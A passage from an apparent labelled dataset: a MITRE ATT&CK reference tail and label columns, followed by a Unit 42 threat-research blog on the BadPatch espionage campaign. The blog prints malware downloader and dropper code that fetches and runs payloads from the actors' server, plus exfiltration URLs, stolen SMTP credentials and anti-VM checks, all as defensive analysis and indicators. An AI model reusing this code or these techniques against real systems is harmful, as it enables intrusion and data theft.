December 27, 2017. Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018. Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018. United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019. Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016. FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018. Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016. Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019. Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019. Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019. Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"BadPatch Menu Tools Playbooks Speaking Events About Us BadPatch 16,399 people reacted 0 10 min. read Share By Tomer Bar and Simon Conant October 20, 2017 at 5:00 AM Category: Unit 42 Tags: BadPatch, KASPERAGENT, MICROPSIA Introduction In April 2017, in collaboration with Clearsky, Palo Alto Networks Unit 42 published an article about our research into targeted attacks in the Middle East. In that research we discussed two new malware families we named KASPERAGENT and MICROPSIA. Since then, we have continued our research into the Command and Control (C2) infrastructure associated with KASPERAGENT and MICROPSIA. This ongoing research lead us to a new Middle Eastern campaign. Our findings from this new campaign include C2 infrastructure, new attack methods, four types of malware (including Android malware), a system for management of stolen victim data and some detail of the actors. It is notable that our research has shown that this newly-identified attack campaign dates back to at least June 2012, over five years ago. In this blog, we outline the results of our research into this new campaign so far. \xc2 Finding the New Campaign Our discovery of this new campaign begins where our previous KASPERAGENT and MICROPSIA research left off. Pivoting from Previous KASPERAGENT and MICROPSIA Research One of the C2 servers we observed in our earlier KASPERAGENT and MICROPSIA research was mailsinfo[.]com. The first IP address that this domain resolved to from about mid-May 2015 through October-November 2015 was 148.251.135[.]117. We used passive DNS (pDNS) and found the server mail.pal4u[.]net on 148.251.135[.]117 starting mid-May 2015. We also found other servers on this IP address. We do not believe this necessarily gives a link between campaigns found on this IP address as it appears to be shared by multiple unrelated third parties. However, the nature of activity and some malware artifacts on this IP address does suggest a possible link to the Gaza Hackers group. \xc2 C2 Infrastructure As we followed our leads from the previous KASPERAGENT and MICROPSIA research and dug into the server mail.pal4u[.]net on 148.251.135[.]117 that research led us to find the C2 infrastructure of this new campaign. Digging into Pal4u The WHOIS for pal4u[.]net appears to be a Palestinian hosting company. The DNS records for pal4u[.]net gives us, in addition to the \xe2\x80\x9cWWW\xe2\x80\x9d hostname, the Name Servers (NS) \xe2\x80\x9cNS1\xe2\x80\x9d and \xe2\x80\x9cNS2\xe2\x80\x9d and additional IP address 195.154.216[.]74. We found six additional domains that used palu4u[.]net as NS, and which all shared the same historic IP address 195.154.216[.]74 (Figure 2). From the seven total domains, we observed six as malware Command & Control (C2), exfiltration, malware download servers, and/or in associated malware code: Pal4u[.]net Pal2me[.]net Pay2earn[.]net Shop8d[.]net Ts4shope[.]net pal4news[.]net We only found one of the seven domains associated with this IP, ads4market[.]net, not associated with malware activity. We did not find any legitimate activity or content associated with these six domains during the period of associated registration. Figure 1- C2 domain links While there is historic WHOIS for pal2me[.]net and shop8d[.]net, research into the registrant information suggests this is related to the ISP rather than the actors using the site for C2. We also found the DNS RNAME \xe2\x80\x9ca.faris.live[.]com\xe2\x80\x9d was used, but this also seems to be related to the host ISP rather than the site owner. Understanding that we were looking at a collection of linked malware C2 servers, we started to look into the attacks methods and malware that used this infrastructure. \xc2 Attack Methods We observed initial attacks using this infrastructure were against victims via spear phishing. However, for the first time in any known Gaza Hackers-linked campaign, we also found a limited use of vulnerability exploits \xe2\x80\x93 RTF exploit CVE-2012-0158 documented by Citizenlab (Part 3 \xe2\x80\x93 \xe2\x80\x9cThe Curious Case of the Shared Exploit\xe2\x80\x9d). The attackers used the RTF exploit to download their \xe2\x80\x9cBadPatch\xe2\x80\x9d Windows malware from hacked WordPress site wp.piedslibres[.]com/wp/wp-includes/js/Next.scr. SHA256 d759dcbebee18a65fda434ba1da5d348c16d9d3775fe1652a1dacf983ffc93b8 First seen 2015-05-13 Filename \xd9\x84\xd9 \xd8\xb3\xd8\xaa\xd8\xac\xd8\xaf\xd8\xa7\xd8\xaa.doc , (Developments.doc) \xc2 We found a second attack sample that used the same exploit, that also downloaded the same malware from the compromised server. Filename 6660491190525a7413b683b91a6c8b0082aa71e6dd6291d11ec26e1e3cf55a57 First seen 2015-06-15 Filename \xd8\xaa\xd8\xb3\xd9\x86\xd9\x8a\xd9 .doc (Tasneem.doc \xe2\x80\x93 the military organization of Fatah (political Palestinian movement)) \xc2 In most of the attacks we observed the malware will display a blank Microsoft Word decoy file, or a Microsoft Word file with error message: \xe2\x80\x9cAn error occurred, please try your request again later\xe2\x80\x9c. We did observe some variations in this attack. The first malware sample that we identified (compiled on 12 June 2012) dropped an Adobe Flash decoy file (Figure 2): SHA256 92a685c0c8515ef55635760026039564ddd0b299a2b0c4812df3c40aba133812 Figure 2- Adobe Flash decoy Samples typically employ decoy filenames tailored to the spear-phished target: SHA256 30282a807c2ee27b0d1dda310e41487f5018bc5fc5df8af6c13d08df34f2b6df Filename \xd8\xb9\xd8\xa7\xd8\xac\xd9\x84 \xd8\xac\xd8\xaf\xd8\xa7 \xd9\x88\xd8\xb3\xd8\xb1\xd9\x8a \xd8\xac\xd8\xaf\xd8\xa7.gz (Very urgent and very confidential. Gz) \xc2 SHA256 cc8020c36156c7e5c8cfbbb32bc8d7f03536510f4e3b38b22e0abdb9ad90c90e Filename ,\xd8\xa7\xd8\xb3\xd9 \xd8\xa7\xd8\xa1 \xd8\xa7\xd9\x84\xd9 \xd8\xb3\xd8\xaa\xd8\xad\xd9\x82\xd9\x8a\xd9\x86 \xd9\x84\xd9\x84\xd9 \xd8\xa7\xd9\x84\xd9\x8a\xd8\xa9.scr (The names of the beneficiaries of Finance. scr) \xc2 SHA256 1a65e43afaaff90b4124cbef21fadc319f10fba4843d09837219400b0dbcc285 Filename \xd8\xa7\xd9\x84\xd9\x87\xd8\xa8\xd8\xa7\xd8\xb4 \xd9\x8a\xd8\xaa\xd8\xad\xd8\xaf\xd9\x89 \xd8\xad\xd9 \xd8\xa7\xd8\xb3 \xd8\xa7\xd9\x84\xd8\xa7\xd8\xb9\xd8\xaa\xd8\xb1\xd8\xa7\xd9\x81.scr (Habash defies Hamas recognition.scr) \xc2 SHA256 2c64a3d6b896ee1b58b9cf55531b7256de45025d60b1f4be764b385de087b52f Filename Statement of Account-ARABBANK.exe \xc2 Malware Analysis We collected 148 malware samples in this campaign, using the C2 servers that we identified, and grouped them into four categories: Microsoft Visual Basic Malware \xe2\x80\x93 exfiltrates data via SMTP (port 26), and HTTP. Autoit malware \xe2\x80\x93 early versions also used SMTP for exfiltration, but mainly HTTP. Autoit downloader & dropper (downloads and executes the Autoit malware) Android malware \xe2\x80\x93 exfiltration via HTTP (first seen December 2015) Microsoft Visual Basic malware Upon infection the malware copies itself to %appdata%\\microsoft\\microsoft [0-9]{9-15}\\dwm.exe (9-15 digits in directory name \xe2\x80\x9cMicrosoft\xe2\x80\x9d), and adds a link to the malware executable in the startup folder for persistence. These variants include system information collection (operating system, computer name), keylogger output, and browser password collection from Internet Explorer, Chrome and Firefox. Keylogger and system info exfiltration is done via HTTP Post: lms/getdata.php?myAction=add_line&macName=\xe2\x80\xa6$&computer_id=App.EXEName&mac_address=\xe2\x80\xa6&dns_domain=nnn&domain=bbb&content2=$FRESH:%20%20ESC%20pango2012ENTR&ver=3&mac_time=tt&patch_user_id=mgh2&patch_group_id=Label1(2).Caption File exfiltration is done via SMTP port 26, with the SMTP credentials hardcoded encrypted in the malware code. Some mailbox examples: user: sender_b@pal4u[.]net password: sender@123 ubuntu_net@pal4u[.]net ubuntu_send@pal4u[.]net Figure 3- SMTP encryption settings The list of files for exfiltration are written to the malware folder as \xe2\x80\x9csysfiles.txt\xe2\x80\x9d. A file \xe2\x80\x9c1.done\xe2\x80\x9d is generated with content \xe2\x80\x9cdone\xe2\x80\x9d after successful exfiltration. The file \xe2\x80\x9cmac.txt\xe2\x80\x9d contains the computer MAC address. Some versions exfiltrate recent files, others collect and exfiltrate files matching a hardcoded extension list: *.xls;*.xlsx;*.pdf;*.mdb;*.rar;*.zip*.doc;*.docx AutoIt Malware We observed a shift from Visual Basic to\xc2 AutoIt malware in this campaign around March 2016. AutoIt is a freeware BASIC-like scripting language designed for automating the Windows GUI and general-purpose scripting. This malware achieves persistence by writing to \xe2\x80\x9c%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Microsoft.lnk\xe2\x80\x9d using the WScript object. It attempts to detect if it is being run in a Virtual Machine (VM) using a WMI query for disk drive name, BIOS, and motherboard: Checks for processes \xe2\x80\x9cVBoxService.exe\xe2\x80\x9d, \xe2\x80\x9cVBoxTray.exe\xe2\x80\x9d, \xe2\x80\x9cVMwareTray.exe\xe2\x80\x9d WMI query on Win32_DiskDrive, looking for \xe2\x80\x9cVBOX HARDDISK\xe2\x80\x9d,\xe2\x80\x9dQEMU HARDDISK\xe2\x80\x9d,\xe2\x80\x9dVMWARE VIRTUAL IDE HARD DRIVE\xe2\x80\x9d, \xe2\x80\x9cVMware Virtual S SCSI Disk Device\xe2\x80\x9d WMI query on Win32_BIOS \xe2\x80\x9cFound Vbox BIOS version\xe2\x80\x9d WMI query on Win32_Baseboard \xe2\x80\x9cFound VMware-style motherboard\xe2\x80\x9d, \xe2\x80\x9c440BX Desktop Reference Platform\xe2\x80\x9d. Name=\xe2\x80\x9dBase Board\xe2\x80\x9d The malware deletes Chrome and Firefox cached password files, requiring the user to re-enter site passwords, affording the keylogger the opportunity to capture them. The malware can be instructed to kill the malware process by Process ID, or by hardcoded name. It can update itself by downloading and executing a newer version: h__p://m103.pay2earn[.]net/public/versions/[\xe2\x80\x9csvchost\xe2\x80\x9d & $i & \xe2\x80\x9c.zip] (where i=1 to 7). The new version is saved at\xc2 pdte\\svchost.scr. Environment data exfiltration via POST It will perform a WMI query to enumerate installed security products. It stores data in log files: Specific attacker username stored at pdte\ MAC address pdte\\mac.log Errors are logged at \xc2 pdte\\log.log This data is exfiltrated along with Operating System version and architecture using HTTP POST: h__p://m103.pay2earn[.]net/devices/settings /devices/settings?mac_address=&content=%20Start%20Downloader%20majdTest%201/2017Anti%20Type:%20%20%20OS%20Version%20=%20WIN_7%20|%20X64 h__p://m103.pay2earn[.]net/logs/new /logs/new?name=$&computer_id=App.EXEName&mac_address=&content=$%20Start%20Downloader%20%20majdTest%201/2017&patch_username=majd Screenshots via SMTP The malware takes screenshots on the victim computer, exfiltrating them using SMTP (port 26) as \xe2\x80\x9cGDIPlus_Image1.jpg\xe2\x80\x9d and \xe2\x80\x9cGDIPlus_Image2.jpg\xe2\x80\x9d. The SMTP configuration is saved as encrypted RC4 strings, decrypted with password !@#$%^&*() \xc2 Figure 4- SMTP RC4 encrypted strings init Mail is sent, in this example, using the string \xe2\x80\x9cStart Downloader majdTest 1/2017\xe2\x80\x9d. \xc2 Figure 5- SMTP mail sending function The emails are sent from an email address at the C2 server, to a recipient address on the same server. Decrypted example: smtpserver:\xc2 m103.pay2earn[.]net fromname:\xc2 \xc2 \xc2 sn@m103.pay2earn[.]net fromaddress: sn@m103.pay2earn[.]net toaddress:\xc2 \xc2 asf@m103.pay2earn[.]net username:\xc2 \xc2 \xc2 sn@m103.pay2earn[.]net password:\xc2 \xc2 \xc2 sn_$_2016 We observed a single variant using an obfuscated AutoIt script (5c6e531738c1380ec09c1ec0f1438cee5077e6cbade8af87710b8be2f0aaaac7). Another outlier variant was keylogger-only, supporting intercepting only Arabic and English characters (42adec426addf3fd0c6aff406b46fa82d901f5a9bed7758a243458961349a362). Autoit downloader / dropper This simple component downloads and executes malware from the C2 server (e.g. pal4u[.]net or m103.pay2earn[.]net). SHA256: 2d75335f8c7d4e956dcd637f480c94f6ed49a9870375aad0eee1e651d6e7ac02 gtyu() _zizi2() Func _zizi2() Local $sfilepath = _winapi_gettempfilename(@TempDir) Local $hdownload = InetGet(""http://www.pal4u.net/zzzzz"", $sfilepath, $inet_forcereload, $inet_downloadbackground) Do Sleep(250) Until InetGetInfo($hdownload, $inet_downloadcomplete) InetClose($hdownload) Local $ialgorithm = $calg_rc4 If _crypt_decryptfile($sfilepath, ""F:\\ddd.zip"", ""?>?"", $ialgorithm) Then ShellExecute(""F:\\dd.docx"") EndIf EndFunc Func _ezezez($szipfile, $sdestinationfolder, $sfolderstructure = """") Local $i Do $i += 1 $stempzipfolder = @TempDir & ""\\Temporary Directory "" & $i & "" for "" & StringRegExpReplace($szipfile, "".*\\\\"", """") Until NOT FileExists($stempzipfolder) Local $oshell = ObjCreate(""Shell.Application"") If NOT IsObj($oshell) Then Return SetError(1, 0, 0) EndIf Local $odestinationfolder = $oshell.namespace($sdestinationfolder) If NOT IsObj($odestinationfolder) Then DirCreate($sdestinationfolder) EndIf Local $ooriginfolder = $oshell.namespace($szipfile & ""\\"" & $sfolderstructure) If NOT IsObj($ooriginfolder) Then Return SetError(3, 0, 0) EndIf Local $ooriginfile = $ooriginfolder.items() If NOT IsObj($ooriginfile) Then Return SetError(4, 0, 0) EndIf $odestinationfolder.copyhere($ooriginfile, 20) DirRemove($stempzipfolder, 1) Return 1 EndFunc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 gtyu() _zizi2() Func _zizi2() \xc2 \xc2 Local $sfilepath = _winapi_gettempfilename(@TempDir) \xc2 \xc2 Local $hdownload = InetGet(""http://www.pal4u.net/zzzzz"", $sfilepath, \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 $inet_forcereload, $inet_downloadbackground) \xc2 \xc2 Do \xc2 \xc2 \xc2 \xc2 Sleep(250) \xc2 \xc2 \xc2 \xc2 Until InetGetInfo($hdownload, $inet_downloadcomplete) \xc2 \xc2 \xc2 \xc2 InetClose($hdownload) \xc2 \xc2 \xc2 \xc2 Local $ialgorithm = $calg_rc4 \xc2 \xc2 \xc2 \xc2 If _crypt_decryptfile($sfilepath, ""F:\\ddd.zip"", ""?>?"", $ialgorithm) \xc2 \xc2 \xc2 \xc2 Then ShellExecute(""F:\\dd.docx"") \xc2 \xc2 \xc2 \xc2 EndIf EndFunc Func _ezezez($szipfile, $sdestinationfolder, $sfolderstructure = """") \xc2 \xc2 Local $i \xc2 \xc2 Do \xc2 \xc2 \xc2 \xc2 $i += 1 \xc2 \xc2 \xc2 \xc2 $stempzipfolder = @TempDir & ""\\Temporary Directory "" & $i & "" for "" & \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 StringRegExpReplace($szipfile, "".*\\\\"", """") \xc2 \xc2 Until NOT FileExists($stempzipfolder) \xc2 \xc2 Local $oshell = ObjCreate(""Shell.Application"") \xc2 \xc2 If NOT IsObj($oshell) Then \xc2 \xc2 \xc2 \xc2 Return SetError(1, 0, 0) \xc2 \xc2 EndIf \xc2 \xc2 Local $odestinationfolder = $oshell.namespace($sdestinationfolder) \xc2 \xc2 If NOT IsObj($odestinationfolder) Then \xc2 \xc2 \xc2 \xc2 DirCreate($sdestinationfolder) \xc2 \xc2 EndIf \xc2 \xc2 Local $ooriginfolder = $oshell.namespace($szipfile & ""\\"" & $sfolderstructure) \xc2 \xc2 If NOT IsObj($ooriginfolder) Then \xc2 \xc2 \xc2 \xc2 Return SetError(3, 0, 0) \xc2 \xc2 EndIf \xc2 \xc2 Local $ooriginfile = $ooriginfolder.items() \xc2 \xc2 If NOT IsObj($ooriginfile) Then \xc2 \xc2 \xc2 \xc2 Return SetError(4, 0, 0) \xc2 \xc2 EndIf \xc2 \xc2 $odestinationfolder.copyhere($ooriginfile, 20) \xc2 \xc2 DirRemove($stempzipfolder, 1) \xc2 \xc2 Return 1 EndFunc This downloader example also displays a decoy file (bbb.docx): SHA256: 2d75335f8c7d4e956dcd637f480c94f6ed49a9870375aad0eee1e651d6e7ac02 #NoTrayIcon $appdate = @AppDataDir Local $ifileexists = FileExists(@AppDataDir & ""\\bbb.docx"") If $ifileexists Then FileDelete(@AppDataDir & ""\\bbb.docx"") EndIf DirCreate($appdate & pdte\\"") FileInstall(""bbb.docx"", @AppDataDir & ""\\bbb.docx"") If ProcessExists(""svchsots.scr"") Then Else FileInstall(""svchsots.scr"", @AppDataDir & pdte\\svchsots.scr"") Run(@AppDataDir & pdte\\svchsots.scr"") EndIf ShellExecute(@AppDataDir & ""\\bbb.docx"") 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #NoTrayIcon $appdate = @AppDataDir Local $ifileexists = FileExists(@AppDataDir & ""\\bbb.docx"") If $ifileexists Then \xc2 \xc2 FileDelete(@AppDataDir & ""\\bbb.docx"") EndIf DirCreate($appdate & pdte\\"") FileInstall(""bbb.docx"", @AppDataDir & ""\\bbb.docx"") If ProcessExists(""svchsots.scr"") Then Else \xc2 \xc2 FileInstall(""svchsots.scr"", @AppDataDir & pdte\\svchsots.scr"") \xc2 \xc2 Run(@AppDataDir & pdte\\svchsots.scr"") EndIf ShellExecute(@AppDataDir & ""\\bbb.docx"") Android Malware The actors do not miss the opportunity to also collect data from the Android devices of their targets. As well as the typical ability to update the malware, this Android malware collects and exfiltrates device files, SMS messages, voice calls, and can also be used to remotely record sound or video using the device. A follow-up blog will examine this malware in detail. \xc2 Records Management System and Victims The threat actors have developed their own, custom system to manage the data exfiltrated by their victims, \xe2\x80\x9c\xd9\x86\xd8\xb8\xd8\xa7\xd9 \xd8\xa5\xd8\xaf\xd8\xa7\xd8\xb1\xd8\xa9 \xd8\xa7\xd9\x84\xd8\xb3\xd8\xac\xd9\x84\xd8\xa7\xd8\xaa\xe2\x80\x9d (\xe2\x80\x9cRecords Management System\xe2\x80\x9d). Server logon requires 2-Factor authentication (2FA). Figure 7- RMS SMS 2FA Figure 6- RMS Logon Screen During the course of our research, we observed a newly introduced bug in their authentication. Navigating directly to the page \xe2\x80\x9csms.php\xe2\x80\x9d bypassed the initial password entry requirement, taking us directly to the SMS verification page (Figure 6). Further, we discovered that navigating directly to \xe2\x80\x9c/lms/index.php\xe2\x80\x9d no longer redirects the user to login.php, but instead granted authenticated access to the system. \xc2 Figure 8- Records Management System This allowed us to enumerate the victims contacting the exfiltration server (Figure 9,) through March 2016. \xc2 Figure 9- Victims by country As reflects the nature of campaign, we notice a small overall number of victims. That the majority of victims appear domestic is also not unusual in such campaigns, although we also noted the actor infecting their own test machines in some cases (Figure 10). Figure 10- Testing Logs \xc2 The Adversary We find some hints in sample filenames, Microsoft Visual Project directory names, and HTTP POST parameters, suggesting the names of some of the actors involved in this campaign, and a possible link to an official Gaza Bureau. S:\\sh\\work files from shaaban\\4shopfiles tajas\\shop8d\\Project1.vbp C:\\Documents and Settings\\HADJYOUB.HADJ-1065B94515\\Bureau\\cm\\Project1.vbp Possible nickname strings that we observed include: Shaaban, Hadjyoub, OMR, mgh2, rashed, Shady, majd , f2b, jno, ajr , hmg, vip, 2ta, asf, h2m, mag Naming The actors appear to name this malware \xe2\x80\x9cPatch\xe2\x80\x9d: \xe2\x80\x9c\\2014-03-17\\exe\\gaza\\Project1.vbp\xe2\x80\x9d V:\\Batch Versions\\ In Arabic, \xe2\x80\x9cP\xe2\x80\x9d and \xe2\x80\x9cB\xe2\x80\x9d are phonetically similar, leading to common B/P misspellings. Embedded strings: \xe2\x80\x9cOld \xe2\x80\x93 update patch and check anti-virus.. \xe2\x80\x9d \xe2\x80\x9cPatchNotExit\xe2\x80\x93 Check Version\xe2\x80\x9d \xe2\x80\x9cPatchNotExit\xe2\x80\x93 download now\xe2\x80\x9d \xe2\x80\x9cPatchNotExit\xe2\x80\x93 Version Patch\xe2\x80\x9c Server communication parameters: lms/getdata.php?myAction=add_line&macName=\xe2\x80\xa6$&computer_id=App.EXEName&mac_address=\xe2\x80\xa6&dns_domain=nnn&domain=bbb&content2=$FRESH:%20%20ESC%20pango2012ENTR&ver=3&mac_time=tt&patch_user_id=mgh2&patch_group_id=Label1(2).Caption The \xe2\x80\x9cpatch_user_id\xe2\x80\x9d parameter appears to refer to the individual actor managing this victim. \xc2 Age of Campaign The oldest sample we observed has a compile date of 12 June 2012. The C2 server linked to that sample, pal2me[.]net, was also first registered on the same date. This campaign has been running for at least more than five years, and continues to this date. \xc2 Development Over Time The oldest sample we observed (above) supported exfiltration of victim data using email (technique is detailed in the malware analysis section): 92a685c0c8515ef55635760026039564ddd0b299a2b0c4812df3c40aba133812 C:\\Users\\Shady\\Desktop\\only email with slide show\\Project1.vbp Keylogger functionality is introduced: 106deff16a93c4a4624fe96e3274e1432921c56d5a430834775e5b98861c00ea E:\\work here\\ready kl send recent files\\Project1.vbp New keylogger version: 17a4126fb1fb19885d78c82271464d82af8618b7d1b7d8901666c1121ddb2ba1 D:\\000 work\\21.3 GB\\newSpoofKL\\Project1.vbp New file exfiltration test version (details are in the malware analysis section): 9a8acd988089e7f9dd04f971374f766db519e854d42e8052b0d98b4c9c6b67e4 Y:\\My Work\\VB 6\\Get Files\\GFiles 14-09-2015 \xe2\x80\x93 Working tst only\\Project1.vbp Visual Basic versions, new downloader: 224b5af4ca4de234f03408487f075f0d638826cb6f65944a3e8dcbaac4372e79 Q:\\newPatch\\downloader\\exe site\\shop\\Project1.vbp Downloader version 2.8: d906118fb36a0cc4e83121d4d606ad685645252e8e0791f793057499d8751bf0 J:\\dowloader 2 8\\downloader\\site\\Project1.vbp Version M103, pointing at the currently-live C2 server m103.pay2earn[.]net. Current server registration dates to 8 February 2016, the compile date of this malware was 31 March 2016. Sha256 \xe2\x80\x93 d9253c808d83ace06f885479e0807246a29cb9967ea0d0855f5a3802825b13db W:\\newPatch\\exe vb m103 30 3 2016\\Project1.vbp Conclusion Diligence in investigating infrastructure associated with a previously documented campaign, led us to another possibly unrelated campaign, crossing paths in hosting. This allowed us to uncover a previously unknown C2 and exfiltration infrastructure, associated malware, and the first time that we\xe2\x80\x99ve observed this group using exploits. The simplicity of the malware and relative unsophistication of C2, exfiltration and stolen data management belies the demonstrated fact that this very targeted, low-volume campaign has been working fine for these actors for five years, and continues today. \xc2 Coverage Palo Alto Networks customers are protected from this threat in the following ways: WildFire accurately identifies all malware samples related to this operation as malicious. Traps prevents this threat on endpoints, based upon WildFire prevention. Domains used by this operation have been flagged as malicious in Threat Prevention. AutoFocus users can view malware related to this attack using the \xe2\x80\x9cBadPatch\xe2\x80\x9d tag. IOCs can be found in the appendices of this report. \xc2 Appendix I \xe2\x80\x93 Hashes 1a0c0a0c74d085d6e90c5d96517926218fc55cc161f5c1e5dbb897f40d1f5164 26e3d2dd7b70701aff8552889c899b7915b06f0b979a4766076681dd01abd978 16c151ffe5e439a9383900738b4f8938cd33ba1781b62d8e2ee0686336a7145c 9a4ed995dfd9d468715dfe4906265059aa3bb1e0d6ceb547e84001661a023a9d f1e616aecf6205daaf6c55898f86092055fe85a3825837c688c2e7545f6efb7e db829b0d7396feaef2a4555b9d4fdf1b00d287dad93585e1c6c54f9cee0e9d4f abaf5a7d82e6db68fb73af18bf1f5e37b200f04dcc6e34da98ad044d9f411022 04b8b48a795bcfe2b7344c2bbc409e85641e412c35ff490e7ae074e7d48698f7 668b4c01e0493dc2b8b3a1b7134ce3811ef1449c2807ef6ca1c0b8356b90a2ed 342de173d65d604e0935808b1d6a617060602c86e543bdf1c4c650812dec3883 6180311025913c26ff8ac90b57b3fad61e21cdd896ea8b26a5ee14e6e663f6bb 1d2a85a88153061ea17c6eeb9394f1d969ed6f0db526c7ddf79919676d4ca012 3bb663567994bae2da06ea84a75b5205b7fa38dd8253ab326bfa4c50a90939ac 4a1a5456123ef756956cc1d9a53f44dab040421700edf051f21671abe7e61d69 47ecddb2f7f7242a3fd6cf9d08715512644f3ca199e779f737762150765b3027 32667a9bfb24f505f351804d8516e2f5cf7f88ba6ef4de4db4463234ba4a3ea1 68cd91e61a1bd6b5a1f39e45920c887be9603e85ca4e03b156cdc7acbe66f7c7 56904fea473c40b9cf39de854a81896e8ba8f2bc1415101e69c25c065eb9773e 0274e5f807a951cc68c0fd5af3fc9fa7b8a7305609da8144dacf69d0d39a23a4 3ce1ad8a7f90404bdfc8157689742448ff675d094767a10c9cdf1e08ce068c55 acc351ce2d3bf1bacb10bf379c6575fdb98e7c0fc2c69d20a7a7e3cf34615ae1 19c25fa8a43b9da08fb5a78c03c554f23c0635ce618e789296fd35d748603fd4 9e87eff7c42c077486531d6a178cab830c19aa787a18bc7ba5334a682cf82312 1d4d3ad6a1330ada787c11dcf39bcf4864745aa440bfe1a45291f82b5467849f 01d08050e532145ebb08398c51ac387979d34526918b8b21d0a3d0bed1ba3487 b3847e10df393052222da931a96bedacf6d862e3470256dfb234a93947a23e82 71015d0586123eac15c36aa4747fb60d03e671d5b5b4608818258320e33512e7 c0e24060684d376068acdb40636392eb5627b410f9cb67428008415d288cb7f9 0be090f3b01713a28f5bc94feb41f07ccd2814e0c7a58f5226242f96e80baaec 20d337997e2a79015aa711bda443d2c0248959f15f007ec469839c7fa4418b9b ef6e26502bb160be3154d7a34a461bbbc1bf8eaf3142c64658d14707836badec 40929deab63f001f99973dffe6674e8bf0347f5dc30b5fb2d38e00667b90be7b 584de1b855adaabc329639d09c77512a5f05099ecd629698b04893ac58fba01c 90a86513076a32328e654f241226f454a5b39d76ea1a3119432aa9bb4253f775 799c5a2dd25f180b4d4dda72da8da55bc6a99e2f01068880d7e3b58f8687242a 6bbfd7f427458a485946d09318260cc484191a7d2e6f20dc0c143065716ff378 8c01e58a2523297599342e38b6f8559b67d82bc790963b7a96802f30d337f295 f8b022d3be92bf893b92ea235dd171443ac61330d008a0a786a0af940f2c98a7 6ed9b8b0c478e30bc4f25bfcae3652b3937d735457b41146286173c54f3d5779 28fb8f3858df045f3a1979f66ac9793f89f42324fcac8339f9f0fb7e566dbf16 802a39b22dfacdc2325f8a839377c903b4a7957503106ce6f7aed67e824b82c2 224b5af4ca4de234f03408487f075f0d638826cb6f65944a3e8dcbaac4372e79 39655262901bc4a35867fa458a6025aa1175613c57ef51336412c32ca61715a1 d49c16c0aacdb700f5afab86b20640a85c01d31b81c854c6a49eb62b8af68b68 99ea3a10ea564b980a10e969b9b70fdef9be0b53ea4dee331cac7ebbdef65c47 a6c0ef11f8d3f12215a9d2d4d461f0eb92f4f305bdd32c2bb3e3a7196f8bb26d 8b322ebd9dfae74c531f70a32b7d5689c394c6e5455575de53cc8984f7ebdbe5 4c3a6c5a8a7a03581bf337dfb7572fb919a7d0414179019836b909e5e40921dc 48845b4d384665b2078b1b4ed55a29fc4b2634e38d2c05ee29fb7a24e5a5c7f2 3984d2400880e2f87f0c0e0e9d8f0e8e4b81971b53f66d840d1733a1cba6ccb1 b9eb60c690b19a13da8717c4ba60e2bf9c4cda92fb9a723bed6011b08ea1b0ca 1b6282350a25f9e362c68d359277746bc5039a0532e05375b06e9688622df6ba ca2e49411ca8c2f8071bc5e12a8266444db7c1a7d0651d9fa9422970024f2150 5c6e531738c1380ec09c1ec0f1438cee5077e6cbade8af87710b8be2f0aaaac7 ecd6fa73cf527025792c4f1ee13acbd1c1219217f6da5aed2aaed11ea8453393 fc06a74968ad0db68f26fa5e306a279728617fde7f3b8a8ddfb449f02bbac2c9 934e56b74a5ca093857042c5b0371661134d29ea405d444bd2d602c74c20b9d2 4c4d9e0062225311584fbf25b79e2a5b9a98dc2a3a43e736621082d8a92f18fe 5e1173cc0c8226881a5fa21e6811e96db732c4ee9dfa2d3455c650d4522fe732 e4400d9f128bf9ba924d94f1c87cfe882cc324d607ffdcbb03aaad6cdf71d2ef 1dec4ec17c7bfe5abc9bb0a885e4cc5a2e5ab6a9676bb9f445402b84599ec915 2f9eedcdda4f28ca08ece26a58e859062a6c0b9cf7f319b3eaa8d9f034c76d20 ef03d20595daa112f7652a11f2f7c2cac37216dae9bbd1aa87e482fd204c858e 4246159ae6234697ed015c8c222ce053a7eaf83e2960d1c49339e72184be7e40 b9440d29e2104cc3411c71c5db504dbc043c77aee24154ac68409df97c5eff49 